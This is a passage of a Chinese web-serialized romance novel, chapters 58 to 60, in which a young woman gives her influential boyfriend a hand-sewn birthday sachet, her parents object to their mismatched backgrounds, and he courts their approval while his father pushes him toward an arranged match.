他们如痴如醉地,热烈地拥吻着,在十二点的钟声敲响时。 作者有话说:评论区掉落红包~ 第58章 翌日晚, 钟缊酌陪着秦拂清看完话剧后回了大院。 对于她最近一段时间的频繁外出,陶美珍已经有所察觉,但她知道缊酌在院儿里新交了一些朋友,因此也没多想。 “陶姨, 你自己吃吧, 我在外面吃过啦。” “那行, 我就把剩饭热热好了。” 钟缊酌一进屋便把自己反锁在卧室里,迫不及待地给宋黎若打了个电话。 “你那边现在是一个人呐?”钟缊酌嬉皮笑脸地逗她,“我没有打扰你吧宝贝?” “讨厌,你还敢说呢,昨天你去哪里了忽然就不见了”宋黎若顿时反应过来什么似的, “诶等下,听你这口吻, 你知道发生什么了?我俩走的时候可什么都没说呀。” 钟缊酌咳嗽一声,脑子里浮现出两个模糊的身影, “若若,我那会儿正跟秦拂清在附近的车里等着跨年, 但我发誓, 除了见到你们抱在一起,其它的什么都没看到” 没等她说完, 宋黎若这边已经炸开了锅。 她往床上一扑用枕头蒙住脸连嚎带嚷地, 说完蛋了丢死人了, 这辈子不想再出门了。 钟缊酌忙解释说:“真的真的, 你相信我, 秦拂清一直抱着我亲,我们根本顾不上往外看。” 她说的也算是实话,可这种羞耻的话若不是为了安抚好友, 正常情况下她是绝对不会讲出来的。 “那好吧,相信你一次。”宋黎若嘴巴撅起老高,“若是让我知道你在骗我,看我怎么教训你。” 钟缊酌仍旧笑嘻嘻地,“你们可算修成正果啦,恭喜恭喜。” 她恭喜的话刚落下,宋黎若就开始一点点地给她翻旧账,“说起来,你以前是不是一直暗地里在帮他呢,我总感觉有几次你们是串通好了的。” 钟缊酌紧张起来,她有那么明显吗? 她只是觉得这俩人好像对对方都有意思,但碍于发小关系不敢明说,然后偶尔就给顺水推舟了一把 “才不会呢,我若是明确知道他喜欢你肯定直接告诉你了呀,怎么会跟他串通呢?” “这倒也是。” 钟缊酌及时转移开话题,“我看你昨天在走廊上跟那个男人聊得挺开心的,你真去搭讪了呀?” “我”宋黎若回想起当时的社死场景,坦言道,“其实我只是问他一些有的没的问题,比如他那个发型哪里剪的,我说挺好看的想给男朋友也弄一个” 钟缊酌:“哈?” “你也知道我这人一向装得胆大,其实很怂,不然——” “不然你早就跟谈勉表白了是不?”钟缊酌笑说。 她这一句话又引来宋黎若一顿抓狂。 两人笑闹了一阵,结束通话。 钟缊酌也要继续开始练习自己的手艺活了。 她一天天数着日子,盼了很久的那一天终于快要到来。 一月二十号,大寒。 钟缊酌起了个大早,把昨晚就编辑好的一段话给秦拂清发了过去。 【早上好呀。今天是大寒,正所谓大寒至,霜雪降,寒气之逆极,下班出来我们去吃顿烤羊腿驱驱寒怎么样?我请客/呲牙/】 其实她已经忍了好几天了,想着要不要早点发提前跟他约时间,但又怕太明显露了馅。 好一会儿,其实也就二三十分钟的时间,可对钟缊酌来说每一秒都是煎熬。 FU:【今天恐怕不行,我们晚上要开项目研讨会,改到周末可以吗?】 钟缊酌盯着屏幕发愣,想到无数种可能的回复,万万没想到他就这样直接拒绝了她。 难道不该是说你今天怎么语气怪怪的?是不是有事瞒着我?或者突然这么殷勤肯定有诈。 今天可是他的生日,大生日的还要加班,他怎么能如此淡定啊! 钟缊酌独自生着闷气,却又无可奈何。 她噼里啪啦地敲字:【哦,那就算了吧,反正也不是非要去吃。】 结果没过两分钟,她又忍不住哀求:【就不能稍稍腾出一点时间嘛?一个小时就可以/拜托/】 这一下子,秦拂清的电话就直接呼了过来。 他嗓音混浊,或许昨晚就没休息好,声音里夹杂着一丝歉意,“我知道今天日子特殊,我也很想和你一起过,但实在没办法。周末你再补给我好不好呢?” 听他的意思,显然已经知道她要给他过生日了。 钟缊酌彻底泄了气,满腔热情在这一刻全部打了水漂,她既心疼又有些不甘心,“那好吧,但你是怎么知道我要做什么的呀?” “你问了傅沅宗对不对?”秦拂清笑了下,“我旁敲侧击地试探过他,他虽然没直接说,但我也猜得八九不离十了。” 原来他早已摸透她的小秘密,自己还跟这儿打哑迷呢。 钟缊酌气哼哼地,“你今天日程就那么紧嘛?总要吃晚饭的吧。” 秦拂清开始一点点地给她掰扯,“你看,我下午得批合同一直到四点,然后调研小组来人交流,六点多能抽空去吃点东西,也就不到一小时的功夫,七点就要开始开会。” “好啦,知道啦,那等周天再约吧。”钟缊酌这次似乎是真的放弃了,语气都冷淡不少。 “嗯,虽然今天没有过成生日,但还是谢谢你,缊酌。” 秦拂清挂了电话,在她听不到的地方,轻轻叹了口气。 他表面看上去挺无所谓的样子,其实心里也很难受。 小姑娘一定准备了很久,自己却只能在她付出那么大的热忱之后,硬生生泼出去一盆冷水,不知道她会有多么失落。 工作一忙起来,时间转瞬即逝。 下午四点,秦拂清准备去接待调研小组,在电梯里碰上了正要外出的邹律。 他整理好袖扣,很绅士地腾出位置,“邹总,这会儿要出去啊?” 邹律点头,礼貌回答:“嗯,秦总今天打扮得这么精神,晚上是不是准备和小女友去过生日?” 秦拂清嗐一声,凉凉道,“哪儿有时间过生日,塞了一天的工作,今晚别再让我熬夜就万幸了。” 邹律:“你那小女友不生气啊?” “生气,给我臭骂一顿,赌气说反正也不是非要给我过。” 邹律笑了下,心想,这秦总也真是老房子着了火,从前哪有人敢这么跟他说话的。 出了电梯,迎面走来一波西装革履的生面孔,这个话题也就到此为止了。 领头带着公文包的那位先伸出手,“秦总,我是这次调研小组的组长郑德,幸会。” “郑组长,幸会。” 送走调研小组的同事后,季昌点了份简餐给秦拂清送到办公室。 吃到一半时,他的手机屏幕亮了一下。 秦拂清拿起来点开,忍不住扬了扬唇角,原来又是那个小丫头来扰他的心。 缊酌:【是不是在吃饭呀?】 秦拂清给她回:【嗯。】 缊酌:【那吃完了告诉我一下哦。】 秦拂清:【做什么?】 这一段对话到这里,那边就仿佛失联一般没再有动静。 撩完就跑?哪里学来的新花样。 秦拂清心中有疑虑,但面对女友也不敢发出质疑。 吃完之后,乖乖给她发过去:【我吃完了,钟小姐有何吩咐?】 他看到屏幕上蹦出一行字:【现在还有二十分钟开会,下楼来一趟公司后花园好不好呀?几分钟就成。】 这一刻,即便向来沉稳从容的秦拂清也无法再淡定了。 他抓起外套,连桌上的文件都来不及整理,冲门外的季昌喊一嗓子,“老季,收拾好开会的东西!到大会议室等我!” 公司楼后面有一座隐蔽的公园,面积不大,中午饭后偶尔有同事过来遛弯,其余时间基本见不到人。 秦拂清披着大衣从后门出来,一眼望见那个在寒风中瑟瑟发抖的小姑娘。 她站在一簇花丛后面,像是怕撞见别人,左右不停张望着。 对上秦拂清的视线后,脸上立即漾开了笑容。 “你要给我多大的惊喜啊。”秦拂清快步走到她身边,心疼地握住那双冻得发红的手,说的话也乱七八糟地,“来这儿干嘛啊,怎么过来的?等了多久?都不知道进楼里待会儿。” 钟缊酌却言简意赅道:“我担心被你同事看到嘛,肯定要八卦你了。” “八卦又怎样?我还堵不住他们的嘴,那真是白混了。以后找我来别这么傻傻地在外面等,去前台报我的名就成,知道了吗?” “知道啦。”钟缊酌抽回手,兴奋地从包里掏出一个掐丝红木盒子,郑重递到他面前,“送你的生日礼物。” 秦拂清接过来,拿在手里一动不动,一时竟不知说什么好。 “虽然生日可以过后再补,但礼物还是当天送比较有意义。”钟缊酌提醒他,“可以打开看看。” 他只能顺从着她的话,慢慢打开盒子。 里面躺着一只小巧玲珑的深蓝色布袋,鼓鼓地似乎装了什么东西,上面还绣有金色缠枝莲纹。 如果秦拂清没认错的话,这应该是一枚香囊。 “好不好看?是我亲手缝制的香囊。” 钟缊酌扑闪着眼睛,好不骄傲地跟他讲述,“练习了很久呢,还好最终成品比较满意。另外里面的花料也是自己搭配的,茉莉,薰衣草,金银花,薄荷你闻闻看,还有安神醒脑的作用。” 秦拂清的心里有万千般情绪涌出,他从没想过她会花这么多心思在他的生日上面。 这可比自己一挥手买个蛋糕,装饰个房子,买件项链要复杂要耗费精力多了。 此刻他不知道要怎么表达自己的感情,最后只能将钟缊酌紧紧搂入怀中,发自肺腑地说了句:“谢谢你,缊酌。” “别谢来谢去的啦,你收好赶紧回去吧,会议马上要开始了。”钟缊酌也不拖泥带水地,把人往前一推,“快去。” 而她自己一边后撤一边跟他摆手告别,很快消失在了公园的入口尽头。 小姑娘就像是从花园里蹿出来的精灵,在他心尖上跳了一段舞,眨眼间便又重新回到了大自然。 只有他还站在原地依依不舍地,不想让这一场美梦醒来- 春节那几天,家里面又开始热闹起来。 钟启明买了一袋子螃蟹拿来蒸,陶姨回老家过年去了,他就只能自己来动手。 没一会儿,清新的海鲜香味从厨房里飘了出来。 “闺女,快来,有好吃的!”钟启明迫不及待地喊一声。 钟缊酌从小就爱吃螃蟹,这几年家里发生的事情太多,钟启明也是很久没在自己女儿面前露一手了。 “你看这个——”他拿起一只红嫩的梭子蟹,“考考你,还记不记得怎么区分公母?” “记得呢,腹部呈圆形或椭圆形的是母螃蟹,因为需要容纳蟹卵,公螃蟹的腹部较狭长,通常是三角。” “还是我闺女记忆力好。”钟启明给她剥开,放进碗里,“尝尝味道怎么样?” “好吃。” 螃蟹的味道确实很好,但钟缊酌吃得并不香。她现在满脑子里装得都是另一件事。 她已经憋了很久,最后终于忍不住开口:“爸,妈,我这次雅思考了7.5分。” 这个分数,意味着已经达到了留学申请的要求。 还有最后不到三个月的报名期限,她没办法再拖下去了。 桌上的氛围急转而下,两人沉默片刻,叶锦实打实地跟她挑明:“闺女,我们现在手上确实有几十万的存款,但留学肯定还是不够,再给爸妈一点时间可以吗?” 钟缊酌有点急了,“我自己这几年奖学金加兼职也攒了二十万呢,你们能给我八十就成。” 这时候叶锦忽然想起什么似的,转头问她:“闺女,你推荐信有着落了吗?” “嗯,我找的班主任和学院另外一位老师,他们已经给我写好了。” 钟缊酌学习成绩一直名列前茅,在班里人缘也不错,老师们几乎没犹豫就答应帮她这个忙。 叶锦说:“既然如此,我跟你爸会尽力的。你放下心来,好好地过一个年,其余的事交给我们。” 尽管母亲这么安慰,钟缊酌心里还是堵了好几天。 那一股冲劲儿过了之后,她其实是有点恨自己的,因为那一个虚无缥缈的愿望,把压力全都给到了父母。 某一天晚上,钟缊酌忍不住去跟他们说:“爸,妈,如果攒不够钱也没关系,现在留学生没有以前那么吃香了,我读国内的研也可以的。” 叶锦却道:“留学不止是挂个好听的学历,最重要的是让你去外面看看这个世界,对你以后的人生都有帮助。” 钟缊酌眼眶就开始发酸。 父母临走前的那天,赶上个周末。两人在客厅收拾东西,钟缊酌跑去卧室接了个电话。 她把门窗关紧,才敢接起,“我爸妈今天都在,我不方便出去呀。” “你说跟宋黎若逛街去了不就好了。” 那头的秦拂清不着痕迹地哀叹两声,听起来怪可怜的,钟缊酌心软了下来,“那好吧,但回家不能太晚。” “嗯。” 钟缊酌想了想,又补充道,“你一会儿在大院门口接我,别进来啦。” 钟缊酌来到客厅,挺随意地跟两人打了声招呼,说下午和朋友约去逛街。 父母自然没说什么,只叮嘱多穿点衣服。 半小时之后,钟缊酌准备完毕,顺便化了点妆,挎上包就出门了。 这时候钟启明嘟囔一句,“闺女是长大了,爱美了,以前逛街从不化妆的。” 叶锦忽而皱起眉,冲刚回来正在厨房洗碗的陶美珍喊:“陶姐,你过来一下!” 陶美珍擦了擦手,来到客厅,问:“怎么了?” 叶锦说:“最近一段时间缊酌经常出去逛街吗?” 陶美珍点头道:“她在院儿里交了一些新朋友,可能是跟他们约着去玩儿了吧。” “男的女的?” “诶这我可没细致问过,应该是有男有女。” 钟启明听出叶锦话里的不对味儿,等陶美珍去厨房接着洗碗,他问:“你怀疑咱家女儿谈恋爱了?” “不用怀疑,十有八九就是,她从小就宅,什么原因会突然变得又爱美又爱社交?” 钟启明咧嘴劝:“这个年纪谈恋爱也正常,你别操心太多。” 叶锦白他一眼,“你懂什么?她瞒着我们谈,要么对方条件太差,要么门第太高够不上,总归不是门当户对。” 作者有话说:评论区掉落红包~ 第59章 寒假结束没多久, 钟缊酌忽然收到母亲传来的消息,说父亲这两天头晕的厉害,可能是之前车祸造成了后遗症。 “那有没有去医院看看啊?”钟缊酌心中焦躁万分,却帮不上任何忙。 “看过了, 医生给拿了些止痛药, 说这两天需要留院观察。” 钟缊酌咬了下嘴唇, 思虑再三,跟叶锦说:“妈,我不放心,我请假过去一趟好不好?如果在那边检查不出来,就接你们到京市来看。” 对于她的请求, 这一次叶锦意外没拒绝,“也好, 我跟你爸还在医院等你。闺女,路上一定注意安全。” 钟缊酌跟公司请完假, 又和秦拂清说了这事儿。毕竟一走就是好几天,总要跟他知会一声。 结果秦拂清非要求跟她一块去。 “那你工作怎么办, 集团能放你走?”钟缊酌不想因为这点事耽搁他, “别担心,我能处理好, 上次也是我自己去的。” “上次你还是单身, 现在有了男朋友, 没道理还要一个人。”秦拂清沉声说, “深城有我们的项目, 我可以打个条子,顺道去出差。” 钟缊酌说不过他,最终也只能接受他的好意。 有人帮忙打理, 这一路的确省时省力不少。季昌给两人订好酒店和机票,又帮着安排好接送车辆,钟缊酌几乎不需要操心任何事。 “记得上次在深城,你说天下哪有那么多巧合的事。所以,你当时是真的为了我来的吗?” “一半一半吧。”秦拂清困倦的脸上浮着笑意,“也确实是需要出差,我只不过把日程提前了些,担心你家人的情况。” 钟缊酌静静靠在他怀里,心中竟恍然生出一丝疑虑来。 她到底哪儿来的那么大魅力,能让秦拂清此般为她。 想到最后,也只得出一个结论。大抵是上辈子积了德,运气太好罢了。 到了深城,一下飞机,空气里全是湿漉漉的味道,不知是否遇上了传说中的回南天。 而如今两人也没空感慨这些,坐上车子直奔市医院。 途中,钟缊酌给叶锦打了个电话,想告诉她马上到了。 叶锦却迟疑着说:“闺女,你爸出院了,现在在滨海小区呢,你来这边吧。” “什么时候出院的啊?已经没事了吗?”钟缊酌放下心来的同时,又感到疑惑万分。 按照常理,他们若是出了院,应该第一时间通知她才对。 “可能只是过度劳累产生的暂时性头痛,医生说先吃着药具体情况等你到了再聊吧。” 母亲说完后便挂了电话,钟缊酌甚至还没反应过来。 “怎么了?”秦拂清在旁边关切地问,“你父亲出院应该是件好事,为何愁眉苦脸的。” “我总觉得有些奇怪算了,我们先过去看看。” 车子驶入滨海小区,秦拂清临时在附近订了家酒店。 “我今天没安排工作,我去酒店等你的消息。” 钟缊酌点头说好。 这栋小区环境很不错,绿化也好,只是位置偏了些,因此租金价格不高。 想到要长期租住,叶锦当时唯一的要求就是环境不能太差。挑到最后,选了这个性价比还算不错的位置。 推开房门,钟缊酌看到父母并排坐在沙发上,两人一言不发,表情凝重,她心里咯噔一下。 “爸,妈,我来了——”钟缊酌喊完人,鞋也没顾得换,走过去看着钟启明,“爸,您这会儿还难受吗?” 钟启明慈爱地笑了下,“不难受了,让闺女担心了。” 他看上去确实不像重病的样子,钟缊酌松了口气,“那你们这是” 叶锦拍了拍旁边的位置,“先去换好鞋和衣服,我们俩有话想跟你聊聊。” 钟缊酌一时间有些发懵,但还是乖乖地照做了。 她端着母亲递过来的茶水,轻轻抿了一口。耳边传来叶锦的声音:“这次你爸去医院,院长依然很照顾他,安排独立病房还派来最好的主治医生,我们心里感激,便多打听了几句。” “打听——什么?”钟缊酌愣愣地问。 “关于你那位姓秦的朋友。”叶锦不动声色道。 一瞬间,钟缊酌的心脏便提到了嗓子眼。 她咽了咽口水,尽量让表情显得自然,“不是跟你们讲过了嘛,是之前做兼职时认识的,其实我们并不是很熟,那时帮过他一个忙,估计也只是想回报一下” 叶锦毫不留情地打断她,“你先闭嘴,听我们说。” 这时候钟启明开了口,他已经不再是方才温和的模样,语气变得严肃起来,“缊酌,跟爸妈说句实话,你和这位姓秦的真的只是普通朋友吗?” 钟缊酌蜷起手指,指尖已经隐隐开始发颤,“是,我们就是普通朋友,你们到底为什么这么问?” “因为你从一开始就在隐瞒事实。”叶锦顿了声,开始慢慢讲述,“这位人脉颇广的秦先生,家世显赫,父亲在京里官职不低,曾经来咱院儿里住过大半年,跟你交情颇深,多次接送你出入大院,对不对?” 钟缊酌死咬住嘴唇,眼睛里睁开一抹殷红,却沉默着没说话。 “你也别觉得奇怪。我们在家里住的时间是不多,但不是一点儿人脉没有,这些事情稍微打听一下就知晓了。” “所以你们这次把我骗来,就是想跟我当面对峙,问清楚我跟他到底什么关系,对吗?”钟缊酌嗓音沙哑,眼泪终于不争气地流了下来。 见女儿委屈的模样,钟启明语重心长道:“缊酌,其实爸妈也没有骗你,我这两天确实头痛住了院,只是没想情况比预计得要好,提前回了家,顺道也跟你聊聊这事儿。” “那你们现在清楚怎么回事了,还想叮嘱什么?我洗耳恭听。” “所以你真的在和他交往对吗!”叶锦气得胸口直喘,“你跟这种人在一起,能幸福得了?他家里人会看得起我们?再说,你们两个年纪差了那么多,你从小都没让我们操过心,怎么这时候就拎不清了!” “可是他对我真的很好,我跟他在一起也很开心。”钟缊酌低声抽泣着,“谈恋爱不应该就是两个人互相喜欢吗?至于他家里人怎么看,就不能以后再考虑?” 其实母亲说的这些,钟缊酌怎会不知,否则她当初也不会逃避那么久才敢正视对秦拂清的感情。 然而发生的情愫不可能再收回了,哪怕只是单纯谈一场恋爱,她也知足了。 “那你想出国留学他怎么说?一年的时间能发生很多变故,他有信心等你?” “我还没告诉他我想出国。”钟缊酌吸了吸鼻子,抹掉眼泪,“本来也是不确定的事,他知道了一定会想办法帮我,那我欠他的更多,以后更还不起了。” 听了这些,最后叶锦也只能在一旁无可奈何地叹气,“你这孩子,平时机灵得很,关键时刻犯糊涂,以后有你的苦吃呢。” 以后吃不吃苦她不知道,钟缊酌只知道,如果当初直接拒绝,她可能会后悔一辈子。 钟缊酌来到次卧,这里长期没人住,一派冷冷清清的模样。 父母说既然如此,他们也没办法阻止什么,那就顺其自然。 可她又在屋里听见外面的两人小声嘀咕,说或许出国之后感情就淡了,最好能自己分手。 钟缊酌的眼泪就忍不住扑簌簌地往外流。 窗外的玉兰花开了,洁白如玉,飘来一阵淡淡的清香。 她的手机屏幕已经亮了好几次,直到泪水流干,钟缊酌才颤巍巍地拿起来。 FU:【聊得怎么样了?】 FU:【我刚刚给院长打过电话,说你父亲主要是因没休息好导致头痛,毕竟受过伤,还是要慢慢恢复。应该并无大碍,你放心。】 FU:【完事记得给我回个信。】 他还在等她的消息,却殊不知,她这边已经山洪海啸。 钟缊酌给他回:【我去找你,等我一会儿好吗。】 FU:【好。】 他很快又问一句:【是不是出什么事了?】 秦拂清很聪明,也很敏锐,从她只言片语里就立马猜测出有事情发生。 钟缊酌:【没有,我只是很想你,很想见见你。】 外面的天气闷得厉害,五官像是被一层看不见的薄膜牢牢封住,紧密得让人透不过气来。 钟缊酌走出小区,站在人来人往的马路边,眼中一片雾蒙。 她忽然想念起京市。 人们都说父母在哪里,家就在哪里,但这一刻,钟缊酌觉得很孤单,这里没有家的感觉。 钟缊酌本来下定好决心掩盖住情绪,可在敲开酒店的房门,见到秦拂清那张脸的瞬间,所有的防备一下子崩塌了。 泪水滴落到胸前,打湿了衣襟。 “别哭,缊酌,就算天塌下来也有我顶着。”秦拂清将人抱进屋里,一下一下抚着她的后背,直到那缩成一团的小小身躯不再颤抖。 钟缊酌终于昂起头来。 “秦拂清,他们知道了,知道我们在交往。”她眼睫湿了大片,松针一样散落下来,“对不起,我没能瞒得住,我也劝不了他们,我什么都做不了” “不,这不是你的问题,你不该把所有困难揽到自己身上。”秦拂清紧紧抱住她,一点点吻着她的脸。 “他们不同意你和我交往,对吗?”像是怕惊扰到她,秦拂清声音很轻地问。 “是,因为我们门不当户不对。”钟缊酌慢慢坐起来,看着他的眼睛说,“你知道吗,我爸妈借着这次住院的机会,去找院长打听了你的名字,然后又问自己在大院的朋友,他们什么都清楚了,今天叫我来就是要和我对峙的。” 秦拂清了然道,“是我做的不好,不够谨慎,我应该叮嘱院长对这件事保密。” “那时候我们还没交往呢,你怎么能想到那么远。” 秦拂清眸色暗了暗,又问:“所以他们是怕我会对你不好?还是担心我家里人反对。” 钟缊酌摇头,“说实话,我不确定,可能两者都有。我已经表明你对我很好,但他们不一定相信。” 秦拂清喉结滚了下,不显露声色,“我明白了,别担心,我来解决。” 秦拂清拿毛巾给她擦了擦脸,“你看,眼睛都哭肿了,这下不仅是我的宝贝,快变成国宝了。” 听了他的冷笑话,钟缊酌忍不住破涕为笑起来,可也只有几秒,转而又哀伤道:“你怎么解决呢?他们连我的话都听不进去,还会听你的吗?” “说话不管用,但我可以投其所好。” 钟缊酌不理解,眨巴着眼睛问:“你知道我爸妈都喜欢什么?” “嗯,起码知道伯父的爱好。” “你怎么知道的呀,我好像没跟你讲过” “你讲过的。”秦拂清弯唇道,“你说你父亲爱好古董,你之所以能懂那么多知识,是因为从小耳濡目染。” 作者有话说:评论区掉落红包~ 第60章 当日晚七点, 从京市到深城,季昌亲自坐上飞机,把一件明初时期的青玉雕莲花高足杯给秦拂清带了过去。 这一路上,他想了很久也没想通, 究竟是要见哪位领导, 需要摆出这么大的阵仗。 季昌连夜把东西交到秦拂清手上时, 忍不住问了一嘴:“秦总,上面派来的?” 秦拂清摸着盒子笑了下,“是,老天爷派来的。” 季昌显然没纳过闷儿来,疑惑道:“咋出差一趟还给您堵这儿了。” “我哪儿知道, 命里的劫数吧。” 季昌也跟着愁起来,“您一向严格遵守纪律, 按理说不应该啊。难道有人在背后给您捅刀?” “若真到这个地步做这些还有个屁用。”秦拂清无奈给了他一个白眼,“别自个儿瞎脑补了, 我是光明正大的贿赂,贿赂我老丈人。” 季昌顿时松下一口气, 又皮笑肉不笑地劝起来:“秦总, 为了讨好老丈人,犯不上送这么贵重的吧?” “你懂什么, 别的领导都是管一时, 这位领导可得管我一辈子了。” 次日上午十点, 钟缊酌收拾好屋子, 便坐在沙发上等着秦拂清的到来。 她算是费了很大心思才说通父母, 让秦拂清今日来拜访二位。 本来他们都开始轰她回京了,说父亲的身体已无大碍,之后注意不要太过劳累就好, 她在这儿也派不上什么用场。 钟启明去书房接了一个公司来的电话,通话到一半时,秦拂清按响了门铃。 钟缊酌跑去开门,秦拂清还是那副从容不迫沉稳倜傥的样子。 一身黑色薄大衣,里面是白衬衫,头发梳得整整齐齐,左右两只手各提了一个礼物袋子。 两人静静对视了一眼,便没再做过多的交流。 叶锦站在客厅打量几眼男人,脸上辨不出喜怒,只是礼貌招呼一声“进来坐。” 她给秦拂清倒了杯茶,即便今日这场拜访不算多情愿,但面子功夫还是要做足。 这时候钟启明也打完了电话,从书房里走出来。 秦拂清立即起身,跟二位长辈说了几句场面话,从袋子里分别拿出一盒藏红花和一只金属盒子。 “伯母,这是产自西班牙的上好藏红花,听缊酌说您这段时间身体操劳,气色消沉了不少,一点心意,还请您笑纳。” 叶锦平静地说了声谢谢,便将东西放在茶几上。一旁的钟缊酌定睛看着,大气也不敢出。 秦拂清又接着打开那只金属盒子,“伯父,知道您爱好古董,我对这方面也算是有一些研究。这只高足杯是我在留学时从一个法国收藏家手里买来的,青玉雕琢而成,工艺精湛,您若喜欢不妨留下。” 本来钟启明是打算保持高冷状态的,给这位秦先生一个下马威。 但明代的高足杯在民间实属罕见,再一听这来历,实在忍不住开启话茬来。 “说起这些我就来气,西方那帮可恶的强盗,抢了我们多少珍贵古董,尤其那大英博物馆,至少三分之一是我们的东西。小秦,你算是做了件好事,这我得夸你两句。” 秦拂清笑说:“应该的,但个人的力量很有限,不过我相信,将来有一天我们的国家足够强大了,一定会拿回所有属于我们的东西。” “说得好。”钟启明左右看看那精致典雅的青玉古物,“确实是珍品,诶,这杯子你也别留我这儿了,等回京后去捐给国博,让更多的人看到。” “行,那就遵从您的意思,正好我也有渠道。” 两人聊得有来有回,这些话题一扯出,谁也控制不住想掰扯几句,看得叶锦直往钟启明那儿翻白眼。 她站起来打断道:“秦总如此费心,我们也没什么能招待的,中午吃个饭再走吧。” 说完也不给其余几人反应的机会,直接进了厨房。 秦拂清见状,也顺势起身脱下大衣,将衬衫袖子卷起,“伯父,您就歇着吧,我去给伯母打个下手。” 钟启明面上有些为难,正迟疑着,一直没说话的缊酌上前拉住他胳膊,“真的合适吗?别太逞强了。” 不管怎样,秦拂清这样的身份,第一次来见她父母就要下厨房,这多少让钟缊酌心里感到虚得慌。 秦拂清却按住她的手道:“没关系,我心里有数。” 今日看来,伯母明显对他的意见更大。 秦拂清知道,金钱方面的东西对二老不会有太大吸引力,能打动对方的,唯有一颗真心。 接下来,钟缊酌独自安静坐在客厅等待,偶尔跟父亲聊些家长里短,尽管心思完全没放在上面。 等了不知多久,叶锦终于端着几盘子炒好的菜上来,并吩咐闺女去帮忙拿碗筷。 钟缊酌来到厨房,看到秦拂清在那儿拌黄瓜,凑过去问:“怎么样啊,你跟我妈聊了什么?” “没聊几句,光干活了。” “啊?那能有用吗?” “这时候尽量少说话,显得油腻,勤快点总没错。” 钟缊酌心想,秦拂清竟然还懂油腻俩字,看来也没少网上冲浪。 她以为他这样的人从来不看论坛不刷视频呢。 这顿饭准备得仓促,算不上多丰盛。 钟启明拿出一瓶珍藏的葡萄酒,给秦拂清倒上,“小秦,虽然我们对你和缊酌的未来并不看好,但你三观端正,是个不错的人,我先敬你一杯。” 这话算是跳出二人关系来讲的,也算给足了敬意。 秦拂清端起杯子,“伯父客气了,无论如何也应该我敬您。这杯我干了,您随意。” 说完一仰脖,灌下了一杯底的量。 饭后,秦拂清又待了一会儿,便起身跟他们告别。 钟缊酌跑出来送他,脸上仍愁眉不展的。 虽然她觉得这次拜访完,父母好像对秦拂清的印象改观了一些。但不知是发自内心的,还是只是出于礼数。 “你说我妈到底怎么想你的啊?我爸看起来还算温和,我妈就很难讲了。” “你能感受出伯母在饭前和饭桌上的变化吗?” “好像脸色确实缓和了些,但她几乎没跟你说过一句话。” 秦拂清微微点头,“嗯,那也算这顿饭没白吃。” “别急,慢慢来。”他眉目舒展开,“我相信有一天他们会接受我们的。” 钟缊酌一时间也不知该说什么,只能选择去相信他。她抿了抿唇道,“嗯,好。” 钟缊酌依依不舍地跟他吻别,两人约定好回程时间,秦拂清便弯腰钻进了路旁的那辆迈巴赫- 钟缊酌是在四月下旬的一个风和日丽的清晨,收到了来自母亲的转账提示。 她颤巍巍地打开银行卡,看到里面躺着的一串数字,数了数,一共是一百万。 叶锦给她留言说:“闺女,出国以后也要对自己好点,生活别太紧巴。” 钟缊酌红着眼回复:“谢谢妈,也谢谢爸。” 她第一时间就去学校官网报了名。 等上传完所有材料,点击提交之后,心里那颗石头才算落地。 现在这个月份报名几乎是最后一波了,计算机又是热门专业,钟缊酌不知道录取的概率能有多大。但准备了这么久,总归要试一试。 等做完这一切,钟缊酌的心情也没有平复下来,她还要好好想想怎么去跟秦拂清解释一下这件事。 她要怎么说呢? 钟缊酌在脑子里铺垫了很久的措辞。 她肯定不能直接说我就是因为不想让你帮我,所以才瞒了你这么久。要摆出一副随意的姿态,因为很多因素她不能确定,万一最后都没报上名呢?等确定要报名,再告诉他,也省得他来操心。 钟缊酌反复确认自己的逻辑没问题,才给他打去了电话。 “那个,你这两天什么时候有时间呀?我有件事想跟你说。” 为了避免产生不必要的误会,她觉得当面跟他解释比较好。 秦拂清明显迟疑了下,“我这一周恐怕都没时间,不能在电话里说吗?” “嗯”钟缊酌挣扎了一会儿,最终决定依照计划,不看着他那张脸她觉得自己没信心跟他讲清楚,“还是见面再说吧,你下周哪天有空?” 秦拂清想了下说:“下周三行吗?正好开始放五一假。” 钟缊酌吐了口气,声音有点发蔫,“那也行吧,我订西苑饭店好不好?它家顶层有旋转餐厅,可以俯瞰整个城市夜景,特别漂亮。” 秦拂清说可以,他像是挺忙的样子,没聊两句便匆忙挂了电话。 并非是秦拂清对约会没了兴趣,只是现在他实在是被另一件事搅得心烦意乱。 秦政庭要他这周六跟他去参加一个饭局,说是李部长给千金过生日,邀请几位同僚和家属一起吃个饭。 本来若只是一个普通的饭局倒也没什么,但秦政庭又提醒他,“李千金现在是单身,正欲寻求良缘,你好好表现。” 秦拂清当即意识到,这次聚餐的目的,说白了就是在给李部长闺女挑女婿。 他神色不显,借口道:“我周六日要加两天班,腾不出时间。” 秦政庭有些不悦,“一顿饭的时间都没有?你把工作往后推推,什么事儿都没这个重要。” 秦拂清顿了顿,又问一句:“李部长除了邀请您之外,还有哪些同僚?” 秦政庭说了几个名字,但最后一个,让秦拂清颇感意外。 是吴少维的父亲,吴毅。 在秦拂清的印象里,以他的职位,应该没资格参加这场饭局。 “最近升的职,吴副一个人这些年够拼啊,每天工作到半夜才回家,也该他升了。”秦政庭解释说。 “那他家那位大公子,也定会去吧?”秦拂清冷飕飕道,“我把这机会让给他了,也算帮您送了一次人情。” “说的什么混账话!无论最后成否,你必须给我去!甭让我丢了这份儿面儿!” 饭店选的是市里最有名的那家京北饭店,曾举办过国宴的地方。 宫廷式的装修风格,大厅内部矗立着十二根绘满穿枝西番连图的金黄色圆柱,气势十足。头顶上是精美的藻井,三面环绕的宫灯,红色地毯沿着台阶一直伸向那五樘包铜镂花格大门前。 秦拂清初中时跟着父亲来过一次,那是秦政庭第一次升职,上级领导给他接风。 八仙桌上拢共坐了八个人,五位长者,三个年轻人。 吴少维跟他的表情几乎一样,说不上高兴,也说不上不高兴。当然在这种场合,即便有再多的不高兴也得吞进肚子里。 这一顿饭,几乎没谈什么工作上的事儿,聊得全是家长里短的话题。 李部长场面话说得很漂亮,介绍自己女儿时,也是表面谦虚实则暗夸。 里外不过一个意思,我这宝贝千金今天若是看上谁,你就偷着乐吧。 但再看那李千金,对面前的两位英俊男子却没表现出太大兴趣,礼貌归礼貌,就是少了点热情。 秦拂清心里猜想,看这样子,大概也是被父亲逼着来相亲的。 饭局进行到后半场,李部长起身去了趟卫生间。 趁着这个空挡,秦拂清也跑出来透气。 刚把烟点上,吴少维就出现在了他身后。 “借个火。”他说。 如今两人也算是“同病相怜”,秦拂清没多废话,把打火机扔给了他。 